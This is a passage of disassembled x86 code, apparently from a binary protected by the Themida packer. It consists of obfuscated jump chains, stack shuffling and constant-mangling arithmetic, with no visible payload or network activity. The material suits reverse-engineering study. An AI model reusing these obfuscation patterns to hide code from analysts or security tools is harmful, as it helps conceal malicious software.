		jmp	loc_55EC6E
; ---------------------------------------------------------------------------


loc_568DA4:				; CODE XREF: sub_562ABA+ED93j
		pop	ebp
		add	ebp, eax
		mov	eax, [esp+1Ah+var_1A]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+16h+var_16]
		pop	esp
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		push	5A4Ah
		mov	[esp+1Ah+var_1A], esi
		mov	esi, edi
		push	5692h
		mov	[esp+1Eh+var_1E], esi
		pop	ecx
		mov	esi, [esp+1Ah+var_1A]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Eh+var_1E]
		pop	esp
		jmp	loc_56F741
; ---------------------------------------------------------------------------


loc_568DE8:				; CODE XREF: sub_562ABA+D030j
		sub	[esp+1Ah+var_1A], 8B09B4h
		jmp	loc_56CD30
; ---------------------------------------------------------------------------


loc_568DF4:				; CODE XREF: sub_562ABA+2D0Cj
		mov	[esp+56h+var_56], ecx
		push	[esp+56h+var_52]
		jmp	loc_56EC6D
; ---------------------------------------------------------------------------


loc_568E00:				; CODE XREF: sub_562ABA+D1A0j
		push	edx
		mov	edx, 1302ADCh
		jmp	loc_56B017
; ---------------------------------------------------------------------------


loc_568E0B:				; CODE XREF: sub_562ABA-202Dj
		pop	[esp+16h+var_16]
		pop	esp
		xor	edx, [esp+0]
		jmp	loc_572BC1
; ---------------------------------------------------------------------------


loc_568E17:				; CODE XREF: sub_562ABA-420j
		pop	edi
		push	6A1h
		mov	[esp-0Eh+arg_8+2], edx
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], eax
		push	edx
		jmp	loc_56C8FF
; ---------------------------------------------------------------------------


loc_568E2F:				; CODE XREF: sub_562ABA+FB5Dj
		sub	edx, esi
		pop	esi
		mov	ecx, [esp-0Ah+arg_4+2]
		jmp	loc_56F535
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-0Ah+arg_4+2]
		push	eax
		jmp	loc_5628DE
; ---------------------------------------------------------------------------


loc_568E44:				; CODE XREF: sub_562ABA+A5CFj
		push	2855h
		mov	[esp+0], eax
		mov	eax, 6C583CB9h
		jmp	loc_55EC15
; ---------------------------------------------------------------------------


loc_568E56:				; CODE XREF: sub_562ABA+100E9j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_56D4D6
; ---------------------------------------------------------------------------


loc_568E67:				; CODE XREF: sub_562ABA+AE96j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_568E6C:				; CODE XREF: sub_562ABA+D250j
		mov	edx, 64EB317Bh
		sub	ebx, edx
		pop	edx
		jmp	loc_56256E
; ---------------------------------------------------------------------------


loc_568E79:				; CODE XREF: sub_562ABA+817Bj
		add	esi, 7E75B052h
		mov	ecx, esi
		pop	esi
		jmp	loc_571BB2
; ---------------------------------------------------------------------------


loc_568E87:				; CODE XREF: sub_562ABA-28C3j
		add	eax, 30FF7E8Fh
		push	5CA9h
		mov	[esp+2+var_4+2], ebp
		push	77ED21E7h
		pop	ebp
		push	ebp
		neg	[esp+6+var_8+2]
		jmp	loc_55EDCD
; ---------------------------------------------------------------------------


loc_568EA3:				; CODE XREF: sub_562ABA-336Fj
		push	4EC8436Ah
		pop	eax
		xor	eax, 3B5207DAh
		mov	esi, eax
		jmp	loc_56992F
; ---------------------------------------------------------------------------


loc_568EB5:				; CODE XREF: sub_562ABA+B730j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_568EBA:				; CODE XREF: sub_562ABA+E93Dj
		pop	esp
		jmp	loc_56D0E3
; ---------------------------------------------------------------------------


loc_568EC0:				; CODE XREF: sub_562ABA-229Ej
		push	ebx
		push	474Dh
		jmp	loc_56A275
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+3Ch+var_3E+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_568EDB:				; CODE XREF: sub_562ABA+5C8Fj
		sub	edi, 50DA6511h
		add	edi, 335E5BD8h
		add	edi, 79225280h
		pop	ebp
		push	42F6h
		jmp	loc_56580E
; ---------------------------------------------------------------------------


loc_568EF8:				; CODE XREF: sub_562ABA+B7B7j
		push	esp
		jmp	loc_56B0F0
; ---------------------------------------------------------------------------


loc_568EFE:				; CODE XREF: sub_562ABA+D89Dj
		pop	edi
		sub	edx, 4
		xchg	edx, [esp+32h+var_32]
		jmp	loc_566260
; ---------------------------------------------------------------------------


loc_568F0A:				; CODE XREF: sub_562ABA+4525j
		sub	esp, 2
		mov	word ptr [esp+26h+var_28+2], bx
		mov	bl, 98h
		xor	dl, bl
		jmp	loc_570DA0
; ---------------------------------------------------------------------------


loc_568F1A:				; CODE XREF: sub_562ABA+B602j
		pop	edx
		pop	eax
		add	esi, 4
		push	esi
		push	[esp+22h+var_1E]
		pop	esi
		pop	[esp+22h+var_22]
		pop	esp
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		mov	edx, esp
		push	edi
		jmp	loc_56D912
; ---------------------------------------------------------------------------


loc_568F3A:				; CODE XREF: sub_562ABA-2586j
		xchg	edx, esi
		add	esi, 0FFFFFFFFh
		add	esi, 0DC9B8238h
		or	eax, esi
		pop	esi
		jmp	loc_56C88B
; ---------------------------------------------------------------------------


loc_568F4D:				; CODE XREF: sub_562ABA+18ACj
		add	esi, 4C187802h
		jmp	loc_56FBA9
; ---------------------------------------------------------------------------


loc_568F58:				; CODE XREF: sub_562ABA+10024j
		push	ebx
		mov	ebx, 26F87AF3h
		mov	ebp, 63535480h
		xor	ebp, ebx
		pop	ebx
		xor	ebp, 74731012h
		not	ebp
		jmp	loc_566411
; ---------------------------------------------------------------------------


loc_568F73:				; CODE XREF: sub_562ABA+852Bj
		xchg	eax, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		jmp	loc_5683C9
; ---------------------------------------------------------------------------


loc_568F7E:				; CODE XREF: sub_562ABA+171j
		push	ebx
		push	edx
		mov	edx, 25665208h
		dec	edx
		inc	edx
		neg	edx
		shr	edx, 5
		not	edx
		add	edx, 1BB01761h
		mov	ebx, edx
		pop	edx
		or	eax, ebx
		mov	ebx, [esp+2+var_4+2]
		push	edx
		mov	edx, esp
		jmp	loc_567865
; ---------------------------------------------------------------------------


loc_568FA4:				; CODE XREF: sub_562ABA+8AAFj
		mov	[esp+6+var_8+2], ecx
		push	[esp+6+var_4+2]
		push	[esp+0Ah+var_C+2]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56932C
; ---------------------------------------------------------------------------


loc_568FBD:				; CODE XREF: sub_562ABA+B248j
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_56B9DB
; ---------------------------------------------------------------------------


loc_568FCF:				; CODE XREF: sub_562ABA+DD8Ej
		pop	esi
		pop	[esp+0Ah+var_C+2]
		jmp	loc_56B661
; ---------------------------------------------------------------------------


loc_568FD8:				; CODE XREF: sub_562ABA-1A87j
		or	esi, 6A3F3BFFh
		jmp	loc_56A54E
; ---------------------------------------------------------------------------


loc_568FE3:				; CODE XREF: sub_562ABA+B313j
		sub	esp, 4
		mov	[esp+1Ah+var_1A], esi
		push	ebx
		mov	ebx, 4
		mov	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 4D5B100Ch
		shl	edx, 3
		jmp	loc_56F421
; ---------------------------------------------------------------------------


loc_569000:				; CODE XREF: sub_562ABA-1C90j
		push	ax
		mov	al, 0Dh
		add	ch, al
		jmp	loc_561C27
; ---------------------------------------------------------------------------


loc_56900B:				; CODE XREF: sub_562ABA+E17Fj
		push	eax
		mov	eax, ebp
		mov	edi, eax
		pop	eax
		jmp	loc_5714DE
; ---------------------------------------------------------------------------


loc_569016:				; CODE XREF: sub_562ABA-159Aj
		or	edx, 7BEB05C9h
		xchg	esi, edx
		jmp	loc_569259
; ---------------------------------------------------------------------------


loc_569023:				; CODE XREF: sub_562ABA+35B2j
		not	ebx
		jmp	loc_562557
; ---------------------------------------------------------------------------


loc_56902A:				; CODE XREF: sub_562ABA+BEC3j
		add	ebx, 1D8D336Fh
		or	ebx, 5AAB0681h
		or	ebx, 8774FD3h
		xor	ebx, 788D2413h
		xor	ebx, 6BAA45D6h
		or	ebp, ebx
		pop	ebx
		and	ebp, 29286214h
		dec	ebp
		sub	ebp, 2828620Fh
		add	eax, ebp
		pop	ebp
		xor	eax, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], eax
		xor	eax, [esp+2+var_4+2]
		pop	esp
		add	ch, 28h
		xor	al, ch
		push	dword ptr [esp+0]
		jmp	loc_571941
; ---------------------------------------------------------------------------


loc_569072:				; CODE XREF: sub_562ABA+138Fj
		xor	ecx, 0C1E7797h
		push	esi
		mov	esi, 733D78CAh
		xor	esi, 7F69A3F9h
		add	ecx, esi
		pop	esi
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 98E4298h
		pop	ebp
		xchg	ebx, [esp+1Eh+var_1E]
		pop	esp
		push	2545h
		mov	[esp+1Eh+var_1E], ebp
		jmp	loc_572797
; ---------------------------------------------------------------------------
		push	20E0h
		mov	[esp+22h+var_22], esi
		push	edx
		push	79DE3A58h
		push	[esp+2Ah+var_2C+2]
		push	dword ptr [esp]
		pop	edx
		push	59B2h
		mov	[esp+32h+var_32], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 303204C8h
		or	ebx, 56582F83h
		or	ebx, 7E72543Fh
		jmp	loc_55F71C
; ---------------------------------------------------------------------------


loc_5690DA:				; CODE XREF: sub_562ABA+77B6j
		mov	esp, [esp+36h+var_36]
		pop	ecx
		sub	esp, 4
		mov	[esp+36h+var_36], edx
		mov	edx, 614E37CBh
		sub	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		push	32BDh
		mov	[esp+3Ah+var_3A], ebp
		mov	ebp, 4
		add	ebx, 7E5418A3h
		add	ebx, 28D408B0h
		sub	ebx, 36460FA7h
		add	ebx, ebp
		add	ebx, 36460FA7h
		jmp	loc_5665E5
; ---------------------------------------------------------------------------


loc_56911B:				; CODE XREF: sub_562ABA+983Ej
		mov	[esp+3Ah+var_3A], ecx
		jmp	loc_562172
; ---------------------------------------------------------------------------


loc_569123:				; CODE XREF: sub_562ABA+DC3Bj
		add	esp, 4
		jmp	loc_5616A8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+36h+var_36]
		jmp	loc_562E99
; ---------------------------------------------------------------------------


loc_569137:				; CODE XREF: sub_562ABA+E5FBj
		push	ecx
		mov	ch, al
		jmp	loc_572626
; ---------------------------------------------------------------------------


loc_56913F:				; CODE XREF: sub_562ABA+AC33j
		sub	eax, 3C5C5B79h
		add	eax, 312A50AAh
		sub	esi, eax
		pop	eax
		dec	esi
		add	esi, 50043984h
		sub	ecx, 618D4212h
		add	ecx, esi
		add	ecx, 618D4212h
		pop	esi
		add	ecx, 4
		xor	ecx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ecx
		xor	ecx, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		jmp	loc_56619D
; ---------------------------------------------------------------------------


loc_569179:				; CODE XREF: sub_55FCA5-14F1j
		xor	edi, 95A8CA8Bh
		sub	ebx, 2F2D3BCFh
		add	ebx, edi
		add	ebx, 2F2D3BCFh
		mov	edi, [esp+32h+var_32]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		pop	esp
		add	edx, 432118B3h
		add	edx, ebx
		sub	edx, 432118B3h
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_55FB80
; ---------------------------------------------------------------------------


loc_5691B9:				; CODE XREF: sub_562ABA+C728j
		add	esi, edx
		add	esi, 7A0F2456h
		mov	edx, [esp+0]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	191h
		mov	[esp+36h+var_36], eax
		mov	eax, 4
		sub	ecx, 70E7102Eh
		jmp	loc_56843A
; ---------------------------------------------------------------------------


loc_5691E5:				; CODE XREF: sub_562ABA+EFD5j
		add	esp, 2
		neg	ch
		inc	ch
		add	ch, 75h
		push	bx
		jmp	loc_56D2D6
; ---------------------------------------------------------------------------


loc_5691F6:				; CODE XREF: sub_562ABA+AC63j
		sub	esp, 4
		mov	[esp+38h+var_3A+2], edx
		push	59937DBFh
		push	[esp+3Ch+var_3E+2]
		pop	edx
		jmp	loc_56D7E7
; ---------------------------------------------------------------------------


loc_56920D:				; CODE XREF: sub_562ABA+9106j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+3Ch+var_3E+2]
		jmp	loc_5625FE
; ---------------------------------------------------------------------------


loc_569220:				; CODE XREF: sub_55F27A+30BCj
		mov	dl, 7Dh
		push	5732h
		jmp	loc_563EB7
; ---------------------------------------------------------------------------


loc_56922C:				; CODE XREF: sub_562ABA+FD3Cj
		mov	[esp+40h+var_42+2], ecx
		mov	ecx, 7E255399h
		xor	ecx, 7D161B18h
		and	eax, ecx
		jmp	loc_5652A5
; ---------------------------------------------------------------------------


loc_569241:				; CODE XREF: sub_562ABA-7A8j
		xchg	esi, [esp+46h+var_46]
		jmp	loc_56D3A1
; ---------------------------------------------------------------------------


loc_569249:				; CODE XREF: sub_562ABA-1Cj
		mov	esi, ebx
		jmp	loc_565D17
; ---------------------------------------------------------------------------


loc_569250:				; CODE XREF: sub_562ABA+7EBEj
		push	[esp+26h+var_22]
		jmp	loc_56667C
; ---------------------------------------------------------------------------


loc_569259:				; CODE XREF: sub_562ABA+6564j
		dec	esi
		xchg	esi, edx
		add	edx, 0CF58999Dh
		push	2ACDh
		mov	[esp-6+arg_0+2], edx
		xor	[esp-6+arg_0+2], 24E71788h
		jmp	loc_566053
; ---------------------------------------------------------------------------


loc_569276:				; CODE XREF: sub_562ABA+CB82j
		mov	[esp-6+arg_0+2], ecx
		push	18B7h
		push	esp
		pop	[esp+2+var_4+2]
		jmp	loc_55FD7A
; ---------------------------------------------------------------------------


loc_569287:				; CODE XREF: sub_562ABA+B914j
		shl	edx, 4
		add	edx, 1C96CE9Fh
		add	esi, edx
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		jmp	loc_567363
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp-8+arg_4],	al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5692AD:				; CODE XREF: sub_55F332+29j
		push	ebp
		jmp	loc_56EDB3
; ---------------------------------------------------------------------------


loc_5692B3:				; CODE XREF: sub_562ABA+278Cj
		mov	ebp, [esp+3Ah+var_3A]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Eh+var_3E]
		jmp	loc_566868
; ---------------------------------------------------------------------------


loc_5692CD:				; CODE XREF: sub_562ABA-24AEj
		xchg	eax, ecx
		jmp	loc_570112
; ---------------------------------------------------------------------------


loc_5692D3:				; CODE XREF: sub_562ABA+D51Cj
		push	edi
		jmp	loc_56E0D5
; ---------------------------------------------------------------------------


loc_5692D9:				; CODE XREF: sub_562ABA+B868j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_22], esi
		jmp	loc_563D66
; ---------------------------------------------------------------------------


loc_5692F3:				; CODE XREF: sub_55FCA5+2E4j
		mov	esp, [esp+22h+var_22]
		and	eax, ecx
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_570718
; ---------------------------------------------------------------------------


loc_569306:				; CODE XREF: sub_562ABA+7E32j
		pop	edx
		jmp	loc_5664D2
; ---------------------------------------------------------------------------


loc_56930C:				; CODE XREF: sub_562ABA+97E8j
		push	esp
		push	[esp+1Eh+var_1E]
		pop	eax
		push	209Ah
		mov	[esp+22h+var_22], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562C71
; ---------------------------------------------------------------------------


loc_569326:				; CODE XREF: sub_562ABA+315Dj
		push	ecx
		jmp	loc_560505
; ---------------------------------------------------------------------------


loc_56932C:				; CODE XREF: sub_562ABA+64FEj
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		mov	ax, word ptr [esp+6+var_8+2]
		push	765Ah
		mov	[esp+0Ah+var_C+2], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56A3F8
; ---------------------------------------------------------------------------


loc_569353:				; CODE XREF: sub_562ABA+6DCAj
		shl	bl, 6
		add	bl, 62h
		mov	dl, bl
		pop	ebx
		shr	dl, 6
		push	ecx
		jmp	loc_560539
; ---------------------------------------------------------------------------


loc_569365:				; CODE XREF: sub_562ABA-381j
		add	esi, 4
		jmp	loc_5667C5
; ---------------------------------------------------------------------------


loc_569370:				; CODE XREF: sub_562ABA+EB37j
		pop	ebp
		neg	eax
		shl	eax, 4
		shr	eax, 1
		jmp	loc_565418
; ---------------------------------------------------------------------------


loc_56937D:				; CODE XREF: sub_562ABA+406Aj
		shr	esi, 2
		add	esi, 43BA008Ah
		sub	esi, 406D43Eh
		mov	eax, esi
		mov	esi, [esp+14h+var_16+2]
		add	esp, 4
		shl	eax, 3
		jmp	loc_56420A
; ---------------------------------------------------------------------------


loc_56939C:				; CODE XREF: sub_562ABA+248Cj
		pop	[esp-8+arg_4]
		jmp	loc_568594
; ---------------------------------------------------------------------------


loc_5693A4:				; CODE XREF: sub_562ABA+C386j
		add	esp, 4
		push	ebp
		mov	ebp, 37E36E27h
		jmp	loc_5713FC
; ---------------------------------------------------------------------------


loc_5693B2:				; CODE XREF: sub_562ABA+EA75j
		sub	[esp-0Ch+arg_8], esi
		pop	esi
		push	eax
		mov	eax, 6D930471h
		neg	eax
		xor	eax, 66780BCFh
		jmp	loc_560036
; ---------------------------------------------------------------------------


loc_5693C8:				; CODE XREF: sub_562ABA+AB53j
		add	ebp, 390E2D85h
		mov	edi, ebp
		jmp	loc_56242A
; ---------------------------------------------------------------------------


loc_5693D5:				; CODE XREF: sub_562ABA+37E3j
		xor	[esp-14h+arg_10], ebx
		xor	ebx, [esp-14h+arg_10]
		jmp	loc_561DB1
; ---------------------------------------------------------------------------


loc_5693E0:				; CODE XREF: sub_562ABA+B144j
		mov	esp, [esp-14h+arg_10]
		jmp	loc_56F4FB
; ---------------------------------------------------------------------------


loc_5693E8:				; CODE XREF: sub_562ABA+F080j
		pop	ebp
		push	30Ah
		mov	[esp-14h+arg_10], ebx
		mov	ebx, 6511A51h
		dec	ebx
		push	eax
		jmp	loc_56FAEF
; ---------------------------------------------------------------------------


loc_5693FD:				; CODE XREF: sub_562ABA+FA62j
		add	esp, 4
		xor	ax, si
		mov	si, word ptr [esp-14h+arg_10]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xor	edx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], edx
		jmp	loc_56BCC3
; ---------------------------------------------------------------------------


loc_569421:				; CODE XREF: sub_562ABA+5873j
		mov	edx, 2F686D5Ch
		or	edx, 5CB5589Dh
		sub	edx, 2D570DA1h
		sub	ecx, edx
		pop	edx
		jmp	loc_560CF2
; ---------------------------------------------------------------------------


loc_56943A:				; CODE XREF: sub_562ABA+75F7j
		mov	[esp+6+var_8+2], eax
		pop	dword ptr [edi+40h]
		push	[esp+2+var_4+2]
		push	[esp+6+var_8+2]
		jmp	loc_5697BD
; ---------------------------------------------------------------------------


loc_56944B:				; CODE XREF: sub_562ABA+AD90j
		mov	eax, esp
		jmp	loc_55F423
; ---------------------------------------------------------------------------


loc_569452:				; CODE XREF: Themida_:0055F821j
		push	6C79h
		mov	[esp+0], edx
		push	esp
		mov	edx, [esp+12h+var_12]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55F76C
; ---------------------------------------------------------------------------


loc_56946C:				; CODE XREF: sub_562ABA+AAF4j
		push	ebp
		mov	ebp, 49111DDDh
		add	esi, ebp
		pop	ebp
		and	ebp, esi
		jmp	loc_570119
; ---------------------------------------------------------------------------


loc_56947C:				; CODE XREF: sub_562ABA+E879j
		pop	ecx
		jmp	loc_5651DC
; ---------------------------------------------------------------------------


loc_569482:				; CODE XREF: sub_562ABA+921Bj
		not	esi
		xchg	esi, ecx
		xor	[esp+12h+var_12], ecx
		xor	ecx, [esp+12h+var_12]
		xor	[esp+12h+var_12], ecx
		push	[esp+12h+var_12]
		pop	eax
		push	9Eh
		mov	[esp+16h+var_16], edx
		mov	edx, esp
		push	ebx
		push	334C1694h
		pop	ebx
		add	ebx, 0CCB3E970h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		push	ebp
		mov	ebp, esp
		jmp	loc_567A31
; ---------------------------------------------------------------------------


loc_5694BE:				; CODE XREF: sub_562ABA+4662j
		neg	ecx
		jmp	loc_560E74
; ---------------------------------------------------------------------------


loc_5694C5:				; CODE XREF: sub_562ABA+6CC3j
		push	edi
		mov	edi, 70B64B5h
		push	ecx
		mov	ecx, edi
		jmp	loc_566200
; ---------------------------------------------------------------------------


loc_5694D3:				; CODE XREF: sub_562ABA-1F58j
		sub	bl, 16h
		jmp	loc_56368B
; ---------------------------------------------------------------------------


loc_5694DB:				; CODE XREF: sub_562ABA+3684j
		mov	ecx, 3C7525F4h
		xor	ecx, 3C7525F0h
		add	eax, ecx
		mov	ecx, [esp+1Eh+var_1E]
		jmp	loc_56FE99
; ---------------------------------------------------------------------------
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5694F8:				; CODE XREF: sub_562ABA+71A5j
		push	1
		mov	edx, [esp+22h+var_22]
		jmp	loc_566853
; ---------------------------------------------------------------------------


loc_569505:				; CODE XREF: sub_562ABA+1001Cj
		push	edi
		mov	edi, 1CAB45BFh
		or	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 2C843FBAh
		jmp	loc_56C70F
; ---------------------------------------------------------------------------


loc_569519:				; CODE XREF: sub_562ABA+4D7Dj
		xor	edi, 5D16137Dh
		jmp	loc_563C2F
; ---------------------------------------------------------------------------


loc_569524:				; CODE XREF: sub_562ABA+C7B8j
		add	esp, 2
		sub	al, 9Ah
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_565337
; ---------------------------------------------------------------------------


loc_569546:				; CODE XREF: sub_562ABA+17BAj
		add	edi, esi
		pop	esi
		jmp	loc_56A404
; ---------------------------------------------------------------------------


loc_56954E:				; CODE XREF: sub_562ABA-4366j
		sub	esi, eax
		jmp	loc_5636E8
; ---------------------------------------------------------------------------


loc_569555:				; CODE XREF: sub_562ABA-CEFj
		pop	eax
		xchg	ebp, [esp+36h+var_36]
		pop	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+32h+var_32], ecx
		mov	ecx, 7C10DCC3h
		xor	ebx, ecx
		pop	ecx
		sub	eax, 0CD91EF0h
		jmp	loc_562E10
; ---------------------------------------------------------------------------


loc_569573:				; CODE XREF: sub_562ABA+1099j
		mov	[esp+46h+var_46], ebx
		push	esi
		mov	esi, 39115CB7h
		mov	ebx, 9A5F9482h
		sub	ebx, esi
		jmp	loc_565B0E
; ---------------------------------------------------------------------------


loc_569588:				; CODE XREF: sub_562ABA+28D1j
		push	1DCAh
		mov	[esp-4+arg_0], eax
		not	[esp-4+arg_0]
		pop	eax
		xor	eax, 0DAA8C5CDh
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_5656F4
; ---------------------------------------------------------------------------


loc_5695A7:				; CODE XREF: sub_562ABA+28B7j
		sub	esp, 4
		mov	[esp+12h+var_12], esi
		push	ecx
		push	esi
		mov	esi, 5022138Dh
		mov	ecx, 379C48DEh
		xor	ecx, esi
		pop	esi
		mov	esi, ecx
		pop	ecx
		jmp	loc_563C5A
; ---------------------------------------------------------------------------


loc_5695C7:				; CODE XREF: sub_562ABA+7E0Dj
		pop	edi
		jmp	loc_563AC6
; ---------------------------------------------------------------------------


loc_5695CD:				; CODE XREF: sub_562ABA+3D15j
		mov	edx, [esp+36h+var_36]
		add	esp, 4
		sub	ecx, eax
		add	ecx, 58080ABFh
		push	eax
		mov	eax, 5205715Eh
		xor	eax, 679A7B6Ch
		add	ecx, eax
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		mov	eax, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_5604D7
; ---------------------------------------------------------------------------


loc_5695F9:				; CODE XREF: sub_562ABA-4C7j
		xor	ebx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebx
		xor	ebx, [esp+22h+var_22]
		jmp	loc_566A07
; ---------------------------------------------------------------------------


loc_569607:				; CODE XREF: sub_562ABA+7B98j
		pop	[esp+22h+var_22]
		add	[esp+1Eh+var_1E], 4
		jmp	loc_567C39
; ---------------------------------------------------------------------------


loc_569616:				; CODE XREF: sub_562ABA+D949j
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 20D96C3Dh
		sub	ebp, 23405938h
		push	eax
		jmp	loc_55E62E
; ---------------------------------------------------------------------------


loc_569630:				; CODE XREF: sub_562ABA+9C0Ej
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_566650
; ---------------------------------------------------------------------------


loc_56963D:				; CODE XREF: sub_56112E+200j
		push	482Fh
		push	26C5h
		jmp	near ptr word_55FFF6
; ---------------------------------------------------------------------------


loc_56964C:				; CODE XREF: sub_562ABA+4104j
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		mov	[esp+16h+var_16], ebx
		jmp	loc_56E19B
; ---------------------------------------------------------------------------


loc_569663:				; CODE XREF: sub_562ABA+CA25j
		pop	esp
		shr	[esp+12h+var_12], cl
		pushf
		jmp	loc_55FC3C
; ---------------------------------------------------------------------------


loc_56966D:				; CODE XREF: sub_562ABA-302Ej
		add	esi, 4
		xchg	esi, [esp+1Eh+var_1E]
		jmp	loc_571FA2
; ---------------------------------------------------------------------------


loc_56967B:				; CODE XREF: sub_562ABA+C10j
		add	esp, 4
		pop	[esp+46h+var_46]
		mov	esp, [esp+42h+var_42]
		jmp	loc_56E2DE
; ---------------------------------------------------------------------------


loc_56968C:				; CODE XREF: Themida_:00572A4Aj
		sub	esi, 24472FCFh
		add	esi, ebp
		add	esi, 24472FCFh
		pop	ebp
		add	ebx, 4659016Bh
		add	ebx, esi
		push	ebp
		mov	ebp, 4659016Bh
		sub	ebx, ebp
		pop	ebp
		pop	esi
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5729FD
; ---------------------------------------------------------------------------


loc_5696BA:				; CODE XREF: sub_562ABA+7DB6j
		sub	esp, 4
		jmp	loc_56D55D
; ---------------------------------------------------------------------------


loc_5696C2:				; CODE XREF: sub_562ABA+3FA5j
		xor	bl, 62h
		not	bl
		xor	bl, 7
		mov	cl, bl
		pop	ebx
		push	small 517Eh
		mov	[esp+0], ax
		mov	ah, 33h
		and	cl, ah
		mov	ax, [esp+0]
		add	esp, 2
		push	ax
		mov	ah, 0FFh
		add	cl, ah
		pop	ax
		shl	cl, 5
		push	edx
		push	ebx
		mov	bl, 67h
		mov	dh, 0F2h
		xor	dh, bl
		pop	ebx
		xor	cl, dh
		jmp	loc_566E6C
; ---------------------------------------------------------------------------


loc_5696FB:				; CODE XREF: sub_562ABA+EC0Dj
		push	esi
		push	esp
		push	[esp+16h+var_16]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_571FC6
; ---------------------------------------------------------------------------


loc_56970F:				; CODE XREF: sub_562ABA+4387j
		mov	eax, [esp+5Ch+var_5E+2]
		add	esp, 4
		jmp	loc_56D9D4
; ---------------------------------------------------------------------------


loc_56971A:				; CODE XREF: sub_562ABA-8CAj
		push	ebx
		jmp	loc_5661ED
; ---------------------------------------------------------------------------


loc_569720:				; CODE XREF: sub_562ABA+F3Bj
		pop	esp
		add	esi, 4
		jmp	loc_5677AE
; ---------------------------------------------------------------------------


loc_56972C:				; CODE XREF: sub_562ABA+D0F4j
		mov	[esp+0Ah+var_C+2], edx
		jmp	loc_564EC6
; ---------------------------------------------------------------------------


loc_569734:				; CODE XREF: sub_562ABA+725Dj
		add	ebp, 4E875674h
		jmp	loc_56F2ED
; ---------------------------------------------------------------------------


loc_56973F:				; CODE XREF: sub_562ABA+2B3Ej
		xor	eax, ecx
		push	4C46h
		mov	[esp+16h+var_16], eax
		sub	esp, 4
		jmp	loc_562521
; ---------------------------------------------------------------------------


loc_569751:				; CODE XREF: sub_562ABA+E20Bj
		push	3790h
		mov	[esp+1Eh+var_1E], ebx
		jmp	loc_56B16C
; ---------------------------------------------------------------------------


loc_56975E:				; CODE XREF: sub_562ABA+8F6Dj
		pop	edx
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5677E3
; ---------------------------------------------------------------------------


loc_56976B:				; CODE XREF: sub_562ABA-279j
		mov	esi, 43064560h
		jmp	loc_570958
; ---------------------------------------------------------------------------


loc_569775:				; CODE XREF: sub_562ABA+E103j
		add	ebp, 4
		push	edx
		push	ebp
		jmp	loc_5694C5
; ---------------------------------------------------------------------------


loc_569782:				; CODE XREF: sub_562ABA+BFF6j
		mov	esi, 62E10DF9h
		neg	esi
		shr	esi, 1
		jmp	loc_563C7D
; ---------------------------------------------------------------------------


loc_569790:				; CODE XREF: sub_562ABA+CEEBj
		and	ebx, 35022B13h
		sub	ebx, 0C24AF02Dh
